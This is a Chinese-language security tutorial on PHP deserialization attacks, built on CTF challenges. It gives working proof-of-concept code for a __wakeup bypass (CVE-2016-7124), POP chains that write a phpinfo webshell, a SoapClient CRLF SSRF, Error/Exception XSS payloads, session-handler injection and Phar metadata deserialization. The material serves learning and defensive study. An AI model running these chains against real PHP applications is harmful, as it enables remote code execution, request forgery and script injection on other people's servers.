再谈PHP反序列化

文章首发于 SECIN社区:https://www.sec-in.com/article/137

三种类属性

Private 权限: 正常
Private 权限属性名: %00类名%00属性名 。且属性名长度改变
Protected 权限属性名: %00*%00属性名 。且属性名长度改变

demo

<?php   
class Test {
public $name = 'P2hm1n';
private $age = 'Secret';
protected $test = 'test';
}

$test = new Test;
$content = serialize($test);
file_put_contents('./flag.txt', $content);

?>

image-20201113201552674

魔术方法

具体可参考PHP手册: https://www.php.net/manual/zh/language.oop5.magic.php

construct 调用条件 :当一个类被初始化为实例时会调用(unserialize()时不会自动调用)
destruct 调用条件 :当对象被销毁时会调用
sleep 调用条件 :当一个类调用serialize进行序列化时会自动调用
wakeup 调用条件 :当字符串要利用unserialize反序列化成一个类时会调用
get() 调用条件:当从不可访问的属性读取数据
call()调用条件: 当要调用的方法不存在或权限不足时自动调用
invoke()调用条件: 当把一个类当作函数使用时自动调用

tostring 当反序列化后的对象被当作字符串的时候调用。具体调用场景条件如下(引用自 @k0rz3n)

(1) echo ($obj) / print($obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()addslashes()
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候

CVE-2016-7124

CVE利用目的: 绕过魔法函数__wakeup

版本限制: PHP5 < 5.6.25 | PHP7 < 7.0.10

核心原理: PHP 内核层解析反序列化漏洞
s
绕过方法: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

Bypass demo

<?php   
class Test {
public $name = 'P2hm1n';

function __destruct()
{
echo 'Bypass';
}

function __wakeup()
{
echo 'fail ';
}
}

$payload = '';
unserialize($payload);
?>

payload

payload1 = O:4:"Test":1:{s:4:"name";s:6:"P2hm1n";}
// fail Bypass

bypass payload

payload1 = O:4:"Test":2:{s:4:"name";s:6:"P2hm1n";}
// Bypass

POP链构造

知识回顾

挖掘暗藏ThinkPHP中的反序列利用链 一文中总结的挺好了。

方法名 调用条件
__call 调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
  • 反序列化的常见起点
    • __wakeup 一定会调用
    • __destruct 一定会调用
    • __toString 当一个对象被反序列化后又被当做字符串使用
  • 反序列化的常见中间跳板:
    • __toString 当一个对象被当做字符串使用
    • __get 读取不可访问或不存在属性时被调用
    • __set 当给不可访问或不存在属性赋值时被调用
    • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();
  • 反序列化的常见终点:
    • __call 调用不可访问或不存在的方法时被调用
    • call_user_func 一般php代码执行都会选择这里
    • call_user_func_array 一般php代码执行都会选择这里

主要还是三点:

  1. 起点
  2. 跳板
  3. 代码执行

个人感觉核心是实例化对象可附值给变量,从而调用 + 各类魔术方法

demo1

demo引用自 @twosmi1e 师傅 先知社区 里的代码:

<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>

从前往后跟 or 从后往前跟?

POC

<?php
class start_gg
{
public $mod1;
public $mod2;

public function __construct()
{
$this->mod1 = new Call();
}

public function __destruct()
{
$this->mod1->test1(); # 入口点,mod1可通过附值起跳。
}

}

class Call
{
public $mod1; # 实例化funct
public $mod2; # 无它什么事

# 继续起跳,瞻前顾后,思考下面的 $this->mod1->test2();会在何处被什么利用
public function __construct()
{
$this->mod1 = new funct();
}

public function test1()
{
$this->mod1->test2(); # 这里调 __call
}
}

class funct
{
public $mod1; # 实例化func
public $mod2; # 无它什么事

public function __construct()
{
$this->mod1 = new func();
}

public function __call($test2, $arr)
{
$s1 = $this->mod1;
$s1(); # 这里触发 __invoke
}
}

class func
{
public $mod1; # 实例化string1
public $mod2; # __invoke对其附值,其实是为了调 __toString

public function __construct()
{
$this->mod1 = new string1();
}

public function __invoke()
{
$this->mod2 = "字符串拼接" . $this->mod1; # 这里若拼接则会触发 __toString
}
}
class string1
{
public $str1; # 实例化 GetFlag
public $str2;

public function __construct()
{
$this->str1 = new GetFlag();
}

public function __toString()
{
$this->str1->get_flag(); #调用此处即可getflag,难点:需调用 __toString
return "1";
}
}

class GetFlag
{
public function get_flag()
{
echo "flag:" . "xxxxxxxxxxxx";
}
}
$payload = new start_gg();
echo urlencode(serialize($payload));
?>

demo2

demo引用自 @l3mon师傅 blog 里的代码:

<?php

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};

class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

class Porter {
static function exportData($lyrics) {
return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
return serialize(base64_decode($lyrics));
}
};

class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
$this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}

function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}

function addLyrics($lyrics) {
$ids = array();
foreach ($lyrics as $lyric) {
$this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->conn->query("SELECT MAX(id) FROM lyrics");
$id= $res->fetch_row(); $ids[]= intval($id[0]);
}
echo var_dump($ids);
return $ids;
}

function __destruct() {
$this->conn->close();
$this->conn = NULL;
}
};
unserialize($_GET['cmd']);

反序列化函数 + 可控参数 == 控制当前作用域下对象

class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

自定义 $song 值 + __destruct == 调用当前作用域下 log方法

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};

论两个 log 方法的选择

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}

LogWriter_File::writeLog($txt) 的写入文件

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
}
};

LogFileFormat::format

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

OutputFilter::filter 自定义 preg_replace 内容

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

preg_replacestr_replace 的区别

image-20201113200131027

final POC

<?php

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct() {
$this->matchPattern = "//";
$this->replacement = "<?php phpinfo();?>";
}
}

class LogFileFormat {
protected $filters;
protected $endl;
function __construct() {
$this->filters = array(new OutputFilter()); # foreach ($this->filters as $filter)
$this->endl = '\n';
}
}

class LogWriter_File {
protected $filename;
protected $format;

function __construct() {
$this->filename = "info.php";
$this->format = new LogFileFormat();
}
}

class Logger {
protected $logwriter;

function __construct() {
$this->logwriter = new LogWriter_File();
}
}


class Lyrics {
protected $lyrics;
protected $song;

function __construct() {
$this->lyrics = '1';
$this->song = new Logger();
}
}


$payload = new Lyrics();
print_r(urlencode(serialize($payload)));
?>

image-20201113200248029

原生类利用

ZipArchive::open

@Threezh1 文中已经写的很详细了。这里不再补充
https://xz.aliyun.com/t/6454#toc-10

SoapClient

关于SOAP安全问题:https://www.anquanke.com/post/id/153065#h2-1

利用条件:
需要有soap扩展,且不是默认开启,需要手动开启
需要调用一个不存在的方法触发其__call()函数

仅限于http/https协议,且http头部还存在crlf漏洞(SOAP + CRLF = SSRF)

例子可见下文: LCTF2018-bestphp’s revenge

Error XSS

@l3m0n 师傅blog中提到了XSS

Error
适用于php7版本

XSS
开启报错的情况下:

<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

//Test
$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');
$c = unserialize($t);
echo $c;

Exception XSS

@l3m0n 师傅blog中提到了XSS

Exception
适用于php5、7版本

XSS
开启报错的情况下:

<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

//Test
$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');
echo unserialize($c);

多种姿势组合拳

例子可见:Pornhub某漏洞 : https://5haked.blogspot.com/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html?m=1

涉及姿势如下
可获取目录: DirectoryIterator
XXE: SimpleXMLElement
创建空白文件: SQLite3

反序列化字符逃逸

原理: 对类中不存在的属性也会进行反序列化。且PHP 在反序列化时,底层代码是以 ;作为字段的分隔,以 }作为结尾(字符串除外),并且是根据长度判断内容的

利用: 构造字符串

例子一

0ctf2016 一道web题(待更新

例子二

安洵杯 - easy_serialize_php
https://xz.aliyun.com/t/6911#toc-3

Session 反序列化

参数相关

session相关参数配置

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path 设置session的存储路径,默认在/tmp
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

PHP处理器三种序列化方式

处理器 对应的存储格式
php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
php 键名+竖线+经过serialize()函数反序列处理的值
php_serialize serialize()函数反序列处理数组方式

差异性

PHP处理器差异性如下

<?php
ini_set('session.serialize_handler','');
session_start();

$_SESSION['name'] = $_GET['name'];
?>

URL传参,?name=P2hm1n。session以文本存储方式保存在 /tmp 目录下。

php: name|s:6:"P2hm1n";
php_binary: 二进制字符names:6:"P2hm1n";
php_serialize: a:1:{s:4:"name";s:6:"P2hm1n";}

漏洞核心也体现在 差异性 三个字

Q: 什么是差异性:
A: 选择的处理方式不同,序列化和反序列化的方式亦不同。如果网站序列化并存储Session与反序列化并读取Session的方式不同,就可能导致漏洞的产生。

攻击手段

trick-1

利用前提: 脚本中设置的序列化处理器与php.ini设置的不同

常见漏洞场景: php_serilize 方式存入,解析又是用的 php 处理器

利用原理: php 在获取 session 的时候,会按照session.serialize_handler=php 规则来处理 session 文件。把 | 前面的值作为一个session键名,对 | 后面就会进行一个反序列化操作

trick-2

配置不当可造成session被控。

session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。

但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。

session.upload_progress.cleanup关闭。这就 极大提高了漏洞的利用成功率。如果此选项session.upload_progress.cleanup打开,那么在利用时攻击者需要上传large and crash文件,来使得我们传入的data得以执行。

详情见https://bugs.php.net/bug.php?id=71101

例子一

题目链接: http://web.jarvisoj.com:32784/index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

差异点:

  1. phpinfo中 session.serialize_handler = php_serialize
  2. 题目中 ini_set('session.serialize_handler', 'php');

核心目的: 进入 eval 函数执行命令。由于题目中并没有反序列化操作,其中 $this->mdzz 不可通过常规手段控制。

观察phpinfo中session其他有关信息
image-20201113201620913

构造一个上传的页面

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="change" />
<input type="file" name="file" />
<input type="submit" />
</form>

构造poc

<?php
class OowoO
{
public $mdzz;
}

$a = new OowoO();
$a->mdzz = "payload";
echo serialize($a);
?>

扫描目录
image-20201113201629436

phpinfo中的_SERVER["SCRIPT_FILENAME"]字段得到路径:/opt/lampp/htdocs/

随后用绝对路径读取文件
image-20201113201637025

例子二

题目来源: LCTF2018-bestphp’s revenge

题目给了两个源码

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

flag.php

<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
?>

flag.php 跟 index.php 之间的微妙联系体现在

$_SESSION['flag'] = $flag;
var_dump($_SESSION);

$_SERVER["REMOTE_ADDR"]==="127.0.0.1"。这里自然想到SSRF。可以利用上文提到的php原生类SoapClient中的__call方法进行SSRF。

构造SSRF的POC (POC来自 @Smi1e)

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

index.php 中涉及到了call_user_func 函数。PHP手册中 给了几个call_user_func 函数的例子: https://www.php.net/manual/zh/function.call-user-func.php
其中需要注意的是当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调
image-20201113201649416

为了进行反序列化只能利用PHP中SESSION反序列化机制。主要体现在差异性(当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞)。但是在PHP中默认使用的是PHP引擎。所以这里为了展现session的差异性,我们需要通过代码手动构造差异性。

通过 call_user_func($_GET['f'], $_POST); 构造PHP引擎差异性。并通过 $_SESSION['name'] = $_GET['name']; 将构造的Soap类序列化字符串写入session文件
image-20201113201704046

为了调用 __call 方法。首先利用call_user_func($_GET['f'], $_POST);传入 f=extract 进行POST变量覆盖。随后通过GET传参令$_SESSION['name'] = SoapClient。再利用POST传参进行变量b的覆盖。即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。
image-20201113201738749

最后携带cookie访问

Phar拓展攻击面

Phar简介

拓展攻击面体现在: 可通过构造 phar 在没有 unserailize() 的情况下实现反序列化攻击

由 PHPGGC 理解 PHP 反序列化漏洞 一文中对其概念概括十分简洁明了

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file://php://等类似,也是一种流包装器。

phar结构由 4 部分组成

  1. stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  2. manifest 压缩文件的属性等信息,以序列化存储;
  3. contents 压缩文件的内容;
  4. signature 签名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

利用条件:

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

生成Phar

<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

PS: 要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

触发条件

@secii 师傅文中提到: php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy

随后 @zsx 师傅blog中 Phar与Stream Wrapper造成PHP RCE的深入挖掘 对其进行了更深入的挖掘

  • exif
    • exif_thumbnail
    • exif_imagetype
  • gd
    • imageloadfont
    • imagecreatefrom***
  • hash
    • hash_hmac_file
    • hash_file
    • hash_update_file
    • md5_file
    • sha1_file
  • file / url
    • get_meta_tags
    • get_headers
  • standard
    • getimagesize
    • getimagesizefromstring
  • zip

    $zip = new ZipArchive();
    $res = $zip->open('c.zip');
    $zip->extractTo('phar://test.phar/test');

  • Bzip / Gzip
    如果限制了phar://不能出现在头几个字符。可用 compress.bzip2://compress.zlib:// 添加至 phar:// 前面进行 bypass
    $z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';

  • MySQL
    LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper

    <?php
    class A {
    public $s = '';
    public function __wakeup () {
    system($this->s);
    }
    }
    $m = mysqli_init();
    mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
    $s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
    $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

例子

参考另一篇 blog HITCON 三题递进PHP反序列化

HITCON2017 中的 Baby^H Master PHP 2017 一题

refer
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2_1
https://coomrade.github.io/2018/10/26/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB%E9%9D%A2%E6%8B%93%E5%B1%95%E6%8F%90%E9%AB%98%E7%AF%87/
https://www.smi1e.top/lctf2018-bestphps-revenge-%E8%AF%A6%E7%BB%86%E9%A2%98%E8%A7%A3/
https://blog.zsxsoft.com/post/38

Typecho 反序列化漏洞分析 HITCON三题递进PHP反序列化
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×